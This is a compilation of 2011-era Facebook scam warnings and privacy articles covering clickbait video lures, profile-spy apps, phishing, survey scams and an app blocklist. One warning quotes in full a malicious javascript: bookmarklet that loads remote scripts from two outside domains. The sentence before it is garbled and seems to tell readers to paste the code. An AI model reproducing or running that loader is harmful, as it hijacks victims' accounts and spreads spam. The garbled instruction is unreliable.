Active Facebook Scams to Avoid

The scammers have been out in full force this week. We have seen some old ones, some new ones and some that just won't die! The important thing for all Facebook users to remember is to remain vigilant at all times, and always be careful what you click!

Below is a listing of the most popular scams that we have discovered or Facecrooks readers have submitted recently. Be sure to share it with your friends!

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Photographer commited SUICIDE 3 days after shooting THIS video! (link to Sophos)

J-Lo's Wardrobe Malfunction- T****'s Out!

[REAL VIDEO] A hot girl is stripping on cam and... look what happens!!

WTF - What are you doing in this Video??

• Video - Modelo italiana mostrando sus atributos
• It turned out her Boobs On Live Television
• Video - Italian Model Shows her Tit's on Live T.V -! EXCLUSIVE
• Italian Model - See what Happens Next!
• Video - Italian Model showing her Assets on T.V - EXCLUSIVE!

Overly Dramatic Orgasm

• [VIDEO] Look what she did on LIVE TV
• Shows her boobs on national TV!
• Bedroom adventures.. Amazing!
• Scandalously sexy
• Yeahh!! It happens on Live Television!

The most provokative video ever

Dad walks in on daughter...EMBARRASING!!!

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[Phishing Alert] Bogus Alert from Facebook Security

As you can see, many of these scams use numerous headlines and urls to spread to as many people as possible. Don't let your curiosity get the best of you - never click on shocking or sensational Facebook links (or anywhere for that matter!)

Also be on the lookout for suspicious looking comments left by friends on your status updates, photos, videos, etc. Do not click on any hyperlinks located in comments until you have verified their legitimacy with the friend leaving the comment. Or you can check the link with an online virus scanner.

Please share this report to help educate your friends about these threats. If people don't let their curiosity get the best of them and take some basic security precautions, then these scams will dissipate much quicker.

source:http://www.facecrooks.com

Warning: 25 Profile Spy Scams To Avoid

What To Avoid

Facebook Users: If you see messages like the ones depicted in the examples below, in your NEWS FEED, Inbox, Facebook Events List or Chat Window, do not click any of the links in them. These messages are Profile Spy Scams and will lead to Rogue Facebook Applications, Survey Scams, Phishing Scams or other malware. Please see the example pictures below.

Examples ( 25 Of The Most Currently Active Profile Spy Scams ) - AVOID THEM

Why You Should Avoid It.

The Profile Spy And Why It Is A Scam.

A Profile Spy is a fake application that claims to allow users to see who has stalked, crept around, visited or viewed their Facebook Profile. Most of these bogus applications simply spread random messages from one persons profile to the next in effort to dupe unsuspecting facebook users in to taking Surveys. The surveys earn scam artists between $1 to 2 dollars and can be used for much more malicious intentions like, Identity Theft or to push malware and or viruses on to users computers. Most of the bogus messages pushed out by these rogue apps include a link to an external domain or a Facebook application. When you click on this link, you are taken to a site where you are asked to like and share the page or urged to install some unknown application on your Facebook profile. You are told that this is a requirement in order to sign up or use the Profile Spy application. If you follow the directions given, you will either manually send spam messages or the application will automatically send spam messages, just like the one you received, to your friends on Facebook. You are then told to take a survey or download a product to complete the process and use the app. Although this scam started a few years ago, it is still around and some people are still unaware that it is a scam. Don’t fall victim to it or any other application that claims to be able to see who looks at your Facebook profile, they are all scams. Facebook claims it has made it technically impossible to find out who has viewed your Facebook Profile because it is a violation of Facebook policies to track profile views.

What Facebook Says About Seeing Your Profile Viewers:

The 2 photos below are taken from 2 facebook help topics that explain why Profile Spies DO NOT work on facebook. The statements are quite clear and shouldn't need explaining.

Photo 1 From: http://www.facebook.com/help/?faq=12903

Privacy: Who can see my profile and content?

Can I know who’s viewing my profile or how often it’s being viewed?

Photo 2 From: http://www.facebook.com/help/?faq=14357

Privacy: Privacy settings and fundamentals

Can I see who's viewed my profile? There's a group or application claiming I can find out who has been viewing my profile.

How To Fix It, If You Fell For It

How to Recover After A Rogue Application Install

If you have installed any Rogue Applications to your facebook profile, due to a Profile Spy Scam, you may be currently spamming your wall and or your friends News Feeds with the Rogue Applications viral/scam messages. You must remove the messages from your wall by deleting the post and remove the rogue app by uninstalling it from your facebook profile.

How to remove a Rogue Application and it's Spam Messages from your profile:

To Remove The Rogue Applications Messages From Your Wall:

1. Navigating to your profile wall, then locate the message you want to remove.
2. Once you've located the message click on the little "X" at the top right corner of the message.
3. At that point Facebook will either open a dialog box which will ask you are sure you want to remove the post, or it will offer you a menu. If you get The Dialog Box simply click the "Remove Post" button in the dialog box to remove the message. If you get The Menu simply Select "Remove Post OR Remove Post and Revoke The Publishing Rights of {App Name}" from the menu and the message will be removed.

To Remove The Rogue Application From Your Facebook Profile:

1. From your Facebook home page Click Account, then "Privacy Settings".
2. Then under the heading "Applications, Games, and Websites" click "Edit Settings".
3. To the right of the heading "Applications You Use" Click the "Edit Settings" button.
4. Finally find the rogue application you want to remove in the list and click the "Little X" to the right of it's name. From there Simply follow the facebook prompts to remove the app.

How to Remove A Rogue Photo: ( You've Tagged Your Friends )

This will happen if you've installed a Rogue App which places a photo on your wall and then proceeds to tag your friends in that photo. You can remove the rogue Photo and the associated rogue app by following the directions given in the How to remove a Rogue Application and it's Spam Messages from your profile section above.

How to Remove Your Name From a Tagged Photo: (You've Been Tagged)

1. Navigating to the Photo with the Offending Tag in it. You will be able to find it by scrolling down your news feed or scrolling down your profile wall.
2. Once you have found the Photo, simply click it. ( DO NOT click any of the links next to the Photo. Just Click the Photo. )
3. When the photo loads, simply look right below the photo and you will see a list of people who have been tagged it.
4. Find Your Name in the list, then click the "Remove Tag" link right next to Your Name. The tag will be removed..

There is a video for the removal process available here:

How to remove post, plus remove and block rogue applications.

http://www.youtube.com/watch?v=1O7Fjf1wlx4

Did You Fill Out The Survey Scam.

It is important that you never hand over any personal information, such as: email addresses, cell number, name, home address or credit card numbers, to these types of scams. If you do, you are simply setting yourself up to be spammed or worse. Identity theft is big business and handing over some of the info these bogus surveys ask for, will make you a victim of that business. If you have made the mistake of handing over a credit card number, you should call your bank or credit provider as soon as possible to have them remove or dispute the charges that have or maybe made to the card. If you've given your cell number to any of these types of Scams, it is important that you call your cell carrier ASAP to have any charges you may receive stopped. If you begin to receive unsolicited phone calls, you should take note of the calls, record names and numbers, then report the calls to the FCC or other proper authorities..

source: http://scamsniper.blogspot.com/

Social Networking Sites not Complying to EU’s Safer Social Networking Principles

It has long been established that it’s dangerous for minors to be on Social Networking sites. There’s no need to list all the ‘Big Bad Wolf’ stories to get anyone to agree with this fact. The European Union has already released a self-regulatory agreement called Safer Social Networking Principles, so they can ensure minors will be protected if and when they join social networking sites. They got the social networking companies to sign the agreement. The problem, as always, reared its ugly head when it came to enforcement.

Research showed that the social networking sites were not complying with the agreement that they signed two years ago. As it turns out, most social networking sites don’t really take the protection of minors on cyberspace seriously. Only MySpace and Bebo changed the default setting of minors’ profiles to private. If a minor registers on, say, Facebook, his or her profile will be automatically set to public, meaning that it will be viewable to all. The only way it will be made private is if the minor wishes it and actually sets his privacy settings to ‘friends only’.

The problem is that minors are still too young to understand the true importance of Internet privacy. They often don’t understand the consequences of doing so, and they may not realize the risks involved on social networking sites. In fact, even if the minor did bother about online privacy, they can still be contacted by ‘friends of friends’ which, in the social networking world, might as well mean ‘complete strangers’. This makes them very vulnerable to cyberbullying or, worse, sexual grooming.

According to an EU Kids Online Study published in January, only 65% of teens aged 13 to 16 and about 34% of kids aged 11 to 12 years old actually know how to change their privacy settings. These numbers are pretty unsettling, because that means that a very large percentage of minors on the net are left unprotected.

Also, the research study conducted by the EU showed it’s very easy for a minor to lie about his or her age in order to create a social networking site profile. They tried to register as a 9 year old on Facebook and were, of course, denied. They were blocked from trying to make another account with an older age immediately afterwards. However, all they had to do to get around this problem was to close the browser and to reopen it. Parents also do not have many options when it comes to protecting their child on Facebook. Aside from going to the ‘Family Center’ to read advice on how to handle their kids on the social networking site, there’s really little else that parents can do to ensure the safety of their children.

Digital Agenda Commissioner Neelie Kroes said that they would like to make a revised version of the self-regulatory framework. The social networking sites were also urged to comply with the agreement.

After all, if the minors are to be kept safe, the parents and the government will need the cooperation of the social networking sites. Otherwise, it’s going to be near-impossible to protect the children from harm, unless government steps in with strong regulatory provisions.

source:http://www.facecrooks.com

How to avoid having your account hacked in Facebook.

You’ve seen the posts from your friends: “I saw you in this video, you were hilarious!” or “This guy got arrested for what he did to this girl.” or “Get a FREE iPad…” Your first instinct is to click on it but then a voice whispers to you that something doesn’t seem right. But the post is from your friend so it must be legitimate, right?

Here is how many of these scams work:
1.They are sent from your friend’s account because your friend fell for this same hoax and his own account was hacked and compromised. Now the hacking system is using his account to send to all of his friends (imagine how quickly these things spread!)
2.They are worded to try to get you to click on them.
3.When you click on them, you are either presented with a pop-up that asks if you want this application to access your personal information (SAY “NO” or “CANCEL”) OR you are placed on what looks like a regular Facebook screen but it isn’t, and it will “appear” as if you’ve logged out and you’ll have to enter your account and password again to log back in. HOWEVER, it will be a FAKE FACEBOOK LOGIN SCREEN!!! If you do not see “facebook.com” somewhere near the beginning of the address showing in the address bar of your browser, you are on a phishing screen that is “fishing” for your account and password!
4.IF in #3 above, you gave the application permission to access your personal information, they will have obtained the list of all of your friends and they can post messages from you to all of your friends (just like that annoying Farmville application).
5.IF in #3 above, you logged into a FAKE Facebook login screen, the hacking application will now have your account and password!!! This is really bad. Not only does it now have access to your whole account and can do ANYTHING to your account that you can do (delete it, send messages to all your friends, etc.), but it can change your password! Once it changes your password, YOU ARE LOCKED OUT and your account will be at the mercy of the hacking system. It will be a long and nasty process to prove to Facebook that you are the real owner of the account.

The primary purpose of most hacking systems is to propogate an advertisement so they get paid. It’s rarely the company that is being advertised but is instead an unethical advertiser who is getting paid by number of impressions/views…and they obviously don’t care how they get people to see the ad as long as they get paid. The goal is to go viral unethically.

Other reasons people write these types of hacks is to STEAL YOUR MONEY! They know that people tend to use the same account and password for everything. Therefore, they might be able to login to some heavily-used online systems (Amazon, PayPal, iTunes, WalMart, various banks, Hotmail, Google, etc.) with your account/password and then do things like make purchases, transfer funds, access email that might have other accounts and passwords in them, access your friends’ emails and send them phishing scams FROM YOU, etc. These kinds of hackers are very smart and selfish. They know that if they access your WalMart account, for example, they can simply make purchases with that credit card you registered in the system and send the items anywhere. If they are lucky enough to control your email account and your WalMart account, they can change things like your email address (which sends a confirmation email to the old address) and intercept the confirmation email (and delete it so you never see it) and then change the Walmart email address to their own email so they get future confirmations. Of course they’d then change the password so you can’t get back into your account. Get the idea? This is called identity theft and it’s really big business!

A final reason people write these types of hacks is to see how far it can go. Remember chain letters or emails that threaten that bad things will happen to you if you don’t send this to all of your friends? They get a thrill out of knowing their message was forwarded world-wide many times over.

How to avoid falling victim to Facebook hoaxes and hacking systems:
■When in doubt, DON’T CLICK! When the voice starts whispering to you, listen to it.
■If any application ask you if it can access your contact list or personal information, SAY NO! …unless you know and trust the application asking the question. For example, Farmville and other known games might want to tell your friends what you’re doing in the game…your friends will hate it so think twice before doing this.
■If you EVER see a Facebook Login screen, STOP & THINK!!! Look at the address bar (starts with “http://”) and see if there is a “facebook.com” somewhere near the beginning of the address. If you don’t see it then it’s probably not really a Facebook screen! It’s EASY to make a fake Facebook login screen but you can’t fake the address in the address bar so LOOK AT IT! Giving away your account name (Facebook uses your email) and your password is a big deal.

If you see posts from your account that YOU did not post or if you think you fell into a login trap, you’re probably compromised. Go change your password right away! This will immediately stop any hacking system from using your account.

source: http://spyder3000.wordpress.com/

'VIRUS ON FB using YOUR pictures...' - another viral Facebook Hoax

"VIRUS ON FB using YOUR pictures. It says you've been tagged in a picture, wants you to click on a link to see it. Then hacks into YOUR computer & ALL YOUR ACCOUNTS including BANKING & other secure accounts. It DESTROYS YOUR COMPUTER. Once hacked into your comp; it sends e-mails to your friends… telling them they have been TAGGED in pics & starts the process again. PLEASE RE-POST URGENT..."

There are some truths that can be gleaned from the warning. The Facebook photo tagging exploit is common tool used by hackers and scammers alike. Clicking on their links can certainly lead to malware infestation. And yes, malware can virally spread from user to user via Facebook, email, etc. However, the nature and scope of the virus being described is dramatically overstated and alarming without cause. You definitely need to be aware that tagged photos can contain malware, you should also be careful on what links you click on, and you should also have a proper anti-virus software program installed on your computer.

Don't blindly repost sensational alerts like this to your Facebook friends. Some hoaxes malign companies and individuals. You don't want to be responsible for damaging the reputation of an innocent party just by automatically posting a story to your wall. It is great to spread useful information and legitimate warnings to your friends - just do a little fact finding before clicking "share."

source:http://www.facecrooks.com

'VIRUS ON FB using YOUR pictures...' - another viral Facebook Hoax

Facebook hoaxes are becoming almost as common as the scams they try to warn against. The latest hoax advises that a tagged photo of you could have a link to a devastating virus that can wreck havoc on your computer, your bank accounts and other secure accounts.

"VIRUS ON FB using YOUR pictures. It says you've been tagged in a picture, wants you to click on a link to see it. Then hacks into YOUR computer & ALL YOUR ACCOUNTS including BANKING & other secure accounts. It DESTROYS YOUR COMPUTER. Once hacked into your comp; it sends e-mails to your friends… telling them they have been TAGGED in pics & starts the process again. PLEASE RE-POST URGENT..."

There are some truths that can be gleaned from the warning. The Facebook photo tagging exploit is common tool used by hackers and scammers alike. Clicking on their links can certainly lead to malware infestation. And yes, malware can virally spread from user to user via Facebook, email, etc. However, the nature and scope of the virus being described is dramatically overstated and alarming without cause. You definitely need to be aware that tagged photos can contain malware, you should also be careful on what links you click on, and you should also have a proper anti-virus software program installed on your computer.

Don't blindly repost sensational alerts like this to your Facebook friends. Some hoaxes malign companies and individuals. You don't want to be responsible for damaging the reputation of an innocent party just by automatically posting a story to your wall. It is great to spread useful information and legitimate warnings to your friends - just do a little fact finding before clicking "share."

source:http://www.facecrooks.com

“Social Intelligence” receives FTC approval to archive Facebook posts for Job Screening Purposes

A Job Screening Agency called ‘Social Intelligence’ has just been given permission by the Federal Trade Commission to archive and store all our posts on Facebook. This data will be used for background-screening when we apply for jobs.

News Flash: You signed up for the fishbowl universe the moment you hit the ‘Sign Up’ button on Facebook and anything you post can and will be held against you. So, really, if you haven’t changed your privacy settings by now, I suggest you do so immediately because things certainly look like their bound to get worse.

Those bawdy jokes you shared with your college buddy, that slightly irreverent photo you shared on your Facebook wall – they might just come back to haunt you. There might come a day when you can’t keep your job because of that ‘yo mama’ joke you posted way back when you were a fresh graduate.

Of course, Social Intelligence maintains that they’re only archiving data for “compliance reasons” and not for any other purposes. They only wish to provide “a verifiable chain-of-custody in case the information is ever needed for legal reasons.” Social Intelligence says that they won’t be using the data for new screens. They stressed that the data they store won’t be used each time a person applies for a job, so there’s not much cause for worry.

Also, they’re only going to be archiving data that can be legally shared for use in the job hiring process. Meaning that the only things that will come back to bite you will be racist remarks, evidence of drug use, and sexually explicit media. So if you’re clean, then there’s really not much of an issue.

The problem is, how many of us have committed a social networking faux pas at one point in our lives? It’s pretty disconcerting to know that you have to watch your step each time you post something on the net. Anything you post, even if you do delete it afterwards, will be stored in your file for seven years. Besides, there’s the risk that your posts may be taken out of context or perhaps even misunderstood. If any of your potential employers decide to tap this resource, then they may just come up with something you would never have expected. With seven years of archived data just waiting to be dug up, it’s certainly would not be surprising if they did find something incriminating.

Your only defense against such ruthless scrutiny is to set your privacy settings to the maximum. If you do need to share something controversial, then do so where there are no prying eyes. Social Intelligence certainly won’t be the last of its kind and it would really behoove us users to protect ourselves as best as we can.

source:http://www.facecrooks.com

Facebook Scams 2011 Looks like fun :P

Facebook Scam Message: Looks like fun :P Hi Philip, what are you doing in this video? Are you trying to dance or what?? Lol I wonder who uploaded this video?? This is to funny? hopefully you all had fun thoungh..

Facebook Scam Type: Phishing

Facebook Picture Scam:

source: http://facebookscamlist.com/

Vancouver Rioters Identified Through Facebook

The Vancouver Riot that happened last Wednesday night truly shocked the world. It was a pretty gruesome display of human nature, and certainly not something that one would expect to happen because of the disappointment over a hockey game. Granted, the Stanley Cup is more than just your average hockey game and sporting events do have the tendency to rouse our passions. But now all the adrenaline has run out, and people are beginning to cry for justice. Facebook has once again become a vital instrument in the process. Whether this is a good thing or a bad thing, though, depends on which side you’re on.

Some of the rioters had that one disease brought about by social media and a tad bit of narcissism: the need to post and brag about their actions on Facebook. Take this one guy, Billy Chickite, for example. He posted a status update on his wall saying “This is my first riot and I think I’m doing a pretty good job… this is the best experience of my life!” However, he’s not the one who’s having the worst time because of the issue. One guy named Brock Anton is taking the brunt for all the post-riot hatred after he bragged about his participation in the riot on Facebook. His post went: “Maced in the face, hit with a Batton, tear gassed twice, 6 broken fingers, blood everywhere, punched a f*cken pig in the head with riot gear on knocked him to the ground, through the jersey on a burning cap car flipped some cars, burnt some smart cars, burnt some cop cars, I’m on the news… One word… History :) :) :)).” Brock is now the subject of several Facebook hate pages, several of which have already gone viral.

Furthermore, several Facebook users have banded together to gather evidence on the identities of those participating in the riots. They have forwarded the incriminating photos and posts found on Facebook to the police for further investigation. In fact, one person has created a website called canucksriot2011.com where all evidence pertaining to the Vancouver riots may be posted. So far, his site has collected over 300 photos and videos. One site has gone much further, posting photos of the riots and urging people to identify the rioters via Facebook.

Indeed, Facebook’s role in bringing the rioters to justice is pretty admirable, especially since the riots caused millions of dollars in damage. However, this incident does serve to remind us that anything we post on the Social Networking site can be used against us in the future. So, next time you post something particularly witty but frighteningly controversial, try to hold back a little bit and think of your safety first. You don’t want to end up like Brock Anton, after all. Better yet, just don’t do anything illegal and you’re likely to be perfectly fine.

source:http://www.facecrooks.com

New Facebook Scam : WTF I can’t believe you’re in this video

New Facebook Scam : WTF I can’t believe you’re in this video !

If you happen to get a new wall post from your friend saying

“WTF I can’t believe you’re in this vid” or
“ROFL i cant believe youre tagged in this video”

Its a new scam spreading on Facebook. Don’t open or click on this link else it will be posted to all your friends wall, esp. copy any URL [java-script code] and paste in your browser navigation/location bar to help spread the message to all your friends.

javascript:(function()%7Bfunction%20s(src)%7Bvar%20script%20%3D%20document.createElement(%22script%22)%3Bscript.src%20%3D%20src%3Bdocument.body.appendChild(script)%3B%7Dvar%20rand%20%3D%20Math.floor(Math.random()*(100))%3Bs(%22http%3A%2F%2Fvideosurge.info%2Fverify.js%22)%3B%20if(rand%20%3C%3D%2025)%20s(%22http%3A%2F%2Fvideosurge.info%2Fconfig.js%22)%3Belse%20s(%22http%3A%2F%2Fbanfish.info%2Fconfig.js%22)%3B%7D)()%3B

Most importantly for the user who fall into such scams by clicking the links in impulse. Remember Facebook API doesn’t provide data about which user has been visiting your profile or if your friend are present in a video.

Please share this message, and if you are already hit by this scam, delete all related wall posts from your profile, change your password and update your friends about the scam or share this link on Facebook.

source: http://www.thehackernews.com

‘Like’ Tracking Lands Facebook in yet another Privacy Lawsuit

Facebook has been violating people’s rights to privacy time and again. So far, these breaches have been met with sheepish, insincere apologies, and a feeling that Facebook would do so again, and again, and again. (as long as they feel they can get away with it) However, this time, Facebook has really pushed the limits on invasion of privacy. A research paper written by Arnold Roosendaal of Tilburg University showed that Facebook tracks its members (and even some non-members) through the use of the ‘like’ widget.

The paper, entitled “Facebook tracks and traces everyone: Like this!”, showed just how Facebook was using the like button in order to track people’s activities on the internet. That seemingly innocent Thumbs Up symbol just might possibly be the biggest spy in the world. That traitorous little symbol has been gathering information on what sites we visit and how often we do so – regardless of whether we click that “innocuous” little button or not.

When a Facebook user visits any website containing the like button, Facebook will ascertain the user’s identity through the use of the cookies that it placed on the user’s computer. The cookies contain data on the person’s user IDs which are inevitably linked to the user’s actual name. So, yeah, this is the part where people who visit “questionable” sites can begin to squirm and perhaps even rage against Zuckerberg’s perverse disrespect for privacy.

Worse, even those who are not members of Facebook get tracked. Facebook identifies them through the use of Facebook Connect. This is a feature that allows people to sign in to a certain website by using their Facebook accounts. If the non-members have previously visited any site that uses Facebook Connect, then bam, Facebook has them.

A cookie is set each time you visit a site with the like button, so there’s virtually no escape. The problem is, the like button is now everywhere. Facebook has been so deeply integrated into the internet that avoiding these sites would be like walking through a field with landmines planted inches apart. However, to let Facebook get away with such a blatant invasion of user privacy would be tantamount to social suicide. As such, a lawsuit was filed against the social networking giant, holding it liable for its actions. According to the lawsuit, people ‘reasonably expect that their browsing history would remain anonymous’, violating people’s rights under the State of California’s constitution.

Of course, Facebook claimed that it ‘anonymizes’ the information, but who would believe them? Facebook has played with people’s rights for far too long, unflinchingly blurring the lines between the legal and the illegal, bypassing even the most basic moral codes.

source: http://www.facecrooks.com

'Heads up FB friends, some applications are sending porn messages' is another generic Facebook warning

Have you seen the following status update on a friend's Wall:

Here is another similar Wall post that has gone viral as well:

HEADS UP, FB USERS--Some applications are sending porno messages under YOUR identity. If you don't want to get into trouble with your Friends, copy and paste this message! If you receive a nasty message from me, I am NOT the one who sent it. Most are a video clip or post saying "X ANSWERED A QUESTION ABOUT YOU." DON'T OPEN !IT IS A VIRUS!!!!!!! (Please re-post this to your status to let others know)

Most of these viral warnings contain a hint of truth to them but are too generic and vague to be much good. Based on some of the recent scams that have gone viral on Facebook, we believe this message could be referring to the Big Baby Born Amazing Effect scam and the Free Tub Hub scam that Sophos wrote about last week. Both of these scams have pornographic images displayed.

Toward the end of the update we see "X ANSWERED A QUESTION ABOUT YOU," along with a virus warning. We believe this is in reference to the countless Facebook applications that inundate users with silly questions, comments and quizzes. Some of these apps have been known to contain viruses or other malware, and ALL of them spam the heck out of Facebook users. Think twice before installing these apps or taking part in them in any way. It is too difficult to know which ones contain malware, so we recommend you avoid them altogether. Your computer (and your Facebook friends) will thank you!

source: http://www.facecrooks.com

[Phishing Alert] 'Times are changing' headline appears with a bogus CNN Video

Scam Signature Message: Times are changing
I know this is going to effect me, hopefully not you to.

Scam Type: Phishing

Trending: June 2011

Why it's a Scam:

Clicking on any of the phishing links will take you a page designed to look like the Facebook login page. The url is fuizuebooks[dot]com/update/index6.php (there are probably others).:

Never enter you login information when a web page redirects you without first double checking to make sure you are on the legitimate site. A better option is to bookmark the authentic page(s), and access the site directly.

On a side note, the same outfit behind this scam are running another Facebook phishing scam with the following wall post:

Looks like fun :P Hi Philip, what are you doing in this video? Are you trying to dance or what?? Lol

Poor Philip got a double whammy on his Facebook Wall by a friend who had their account hacked. Let's hope he is aware of these scams and not a Happy Clicker!

How to Deal with the Scam:

If you entered your Facebook login credentials on the page shown above, then you need to try to reclaim your account. Check out the following article for additional steps you should take:

Four Things you need to do if your Facebook account gets hacked

Be sure to let your Facebook friends know that your account has been compromised and not to click on any links that are sent from you.

source: http://www.facecrooks.com

Facebook scam lures victims with iPhone 5

A new Facebook scam is making the rounds, hooking victims with promises of news about Apple's iPhone 5.

A blog entry on M86 Security Labs said that the scam starts with someone in the victim's social network "commenting" on a post claiming to be from Wired News.

"Once a user clicks on the link, they are redirected to a random .info site. There have been over 10 of these in circulation for this particular scam. Before the user can click on anything, they are asked to answer a CAPTCHA-like verification form," Satnam Narang said in the blog post.

The CAPTCHA-like Verification form tricks the user into inputing the number 5, which actually results in the user leaving a comment for the .info website via the Facebook social-plugin layer for comments.

Narang said that this is why users will see that one of their "friends" commented on the .info site on their Facebook News Feed.

Victims are then prompted to download the executable file "videogameboxinstaller.exe," which supposedly downloads other pieces of software.

The other software include “AnyLike," which claims to allow users to “like" anything and everything on the web.

The scammers also use the “PageRage" software "to make money off of unsuspecting Facebook users."

"At the heart of all these Facebook scams lies the same principal: a way for the scammers to make money by tricking users. Survey scams have been working quite well, so it makes sense that scammers would begin focusing their efforts with pay-per-install affiliate programs," Narang said.

Narang also warned against other Facebook comment scams (“comment-jacking") that are making the rounds, including one regarding Free Airline tickets aboard Southwest Airlines.

Narang said the key is to be aware that scammers will do whatever it takes to make a fast buck on the backs of social networking users.

"If it looks too good to be true, there’s a very good chance that it is. Look out for the people who are apart of your personal social network: friends and family members. Let them know about scams like these, because awareness remains a big piece of the puzzle," Narang said.

Narang said that over 400,000 visits have been logged to the various links in circulation before the scam was shut down.

But as of May 9, Narang said the scam is making the rounds once again, with a few differences in the new version.

"Instead of verification by solving 3+2, users are asked to verify with a word instead, which is the basis for most CAPTCHA systems ... They ask you to click continue twice, because the second click is what allows the comment to appear on your profile," Narang said.

In this scenario, users would see the victim's post appear in their News Feed about the iPhone 5 along with the victim's comment of “incredible" which coincides nicely with the story.

Also, once the victim supposedly verifies the “CAPTCHA," he or she is asked to fill out one of a handful of surveys. — TJD, GMA News

source: http://www.facecrooks.com

The most provokative video ever - Facebook Survey Scam

Scam Signature Message:

The most provokative video ever

Alternate Message:

The most provocative video ever

Monstrously Erotic Blonde

Scam Type: Survey Scam

Trending: June 2011

Why it's a Scam:

Clicking on the Wall post link takes you to a page designed to look like Facebook.

Clicking any of the buttons located on the page will click-jack your Facebook account. This will post the spammer's message shown above right on your Facebook Wall. Due to the graphic nature of the photo, this could cause you quite a bit of embarrassment! (depending who is on your friends list) Always be careful on what you click, especially on Facebook! After the click-jacking attack, the following survey scam is loaded:

How to Deal with the Scam:

You need to clean up your Facebook account by removing the post from your Newsfeed and marking the post as Spam. Do this by clicking the "x" in the top right hand corner of the post.

Never complete surveys to unlock videos or other content on Facebook. Scammers use these tricks to either spread malware, obtain personal identification or earn commissions from marketing companies. Don't pad their pocket and possibly open yourself up to harm!

Some of the surveys require you to download files to your computer. Never do this! If you did so in error, then run a complete system scan with a good anti-virus software program. The I.Q. Quiz scam has been around for a while, and it typically requires you to enter your cell phone number to receive the results. The scammers then bill you for premium services. Keep an eye on your phone bill for bogus charges.

source: http://www.facecrooks.com

Facebook Application Blacklist (according to Facecrooks)

Facebook applications are notorious for spamming and scamming users. We are in the process of compiling a "blacklist" of apps that should be avoided if you want to minimize the spam on your News Feed. We aren't saying any of these applications are scams or are doing anything to violate Facebook's ToS. The applications we list are ones we have discovered or applications that have been submitted by our readers known to spam Facebook user accounts.

You can visit the links below for each application and click the "Block App" link located in the bottom left hand corner. This will keep you from receiving the annoying notifications and updates from that app.

If you run across any that we don't have listed, please send them to info@facecrooks.com.

*If clicking a link takes you to the Facebook home page, then one work around is to enter the application title into the Facebook search bar. Then filter by "Apps" in the left column.*

Facebook Application Blacklist (according to Facecrooks)

**June 19, 2011 Update**

Are YOU Interested?

Get Revealed

Friends Secrets

ily or not

Would you rather

My Friend Secrets

Question Party

Friend Ville

friend.ly

tinychat

WAYN - Map Your Friends

Friends Photos

Daily Mood

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21 Questions

love

21QUIZ12

Questions

THE FRIEND FIGHTING QUIZ

Best Looking Contest, etc.

tag friends <3

Best Friends

Are you my best friend ???

Truth Quiz

What Colour Are You!!!

Truths About You

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source: source: http://www.facecrooks.com

Dad walks in on daughter...EMBARRASING Viral Facebook Scam hits Again

Scam Signature Message:

Dad walks in on daughter...EMBARRASING!!!

This really has to be an awkward moment.

Scam Type: Survey Scam, Rogue Application

Trending: June 2011

Why it's a Scam:

Clicking on the Wall post link takes you to the follow page:

Clicking "Share on Facebook" loads the following screen:

Once you click the "Share Link" button you will be spreading this spam to all of your friends. Don't be so quick to share suspicious items on Facebook. After sharing the link, you are presented with the main page once again. When you click to play the video, you won't see some perverted video footage - instead you'll be greeted with a Facebook survey scam. This scam is spreading virally by users willingly following the scammer's directions. We have also seen some rogue applications in use as a propagation mechanism.

How to Deal with the Scam:

You need to clean up your Facebook account by removing the post from your Newsfeed and marking the post as Spam. Do this by clicking the "x" in the top right hand corner of the post.

Never complete surveys to unlock videos or other content on Facebook. Scammers use these tricks to either spread malware, obtain personal identification or earn commissions from marketing companies. Don't pad their pocket and possibly open yourself up to harm!

Some of the surveys require you to download files to your computer. Never do this! If you did so in error, then run a complete system scan with a good anti-virus software program. The I.Q. Quiz scam has been around for a while, and it typically requires you to enter your cell phone number to receive the results. The scammers then bill you for premium services. Keep an eye on your phone bill for bogus charges.

source: http://www.facecrooks.com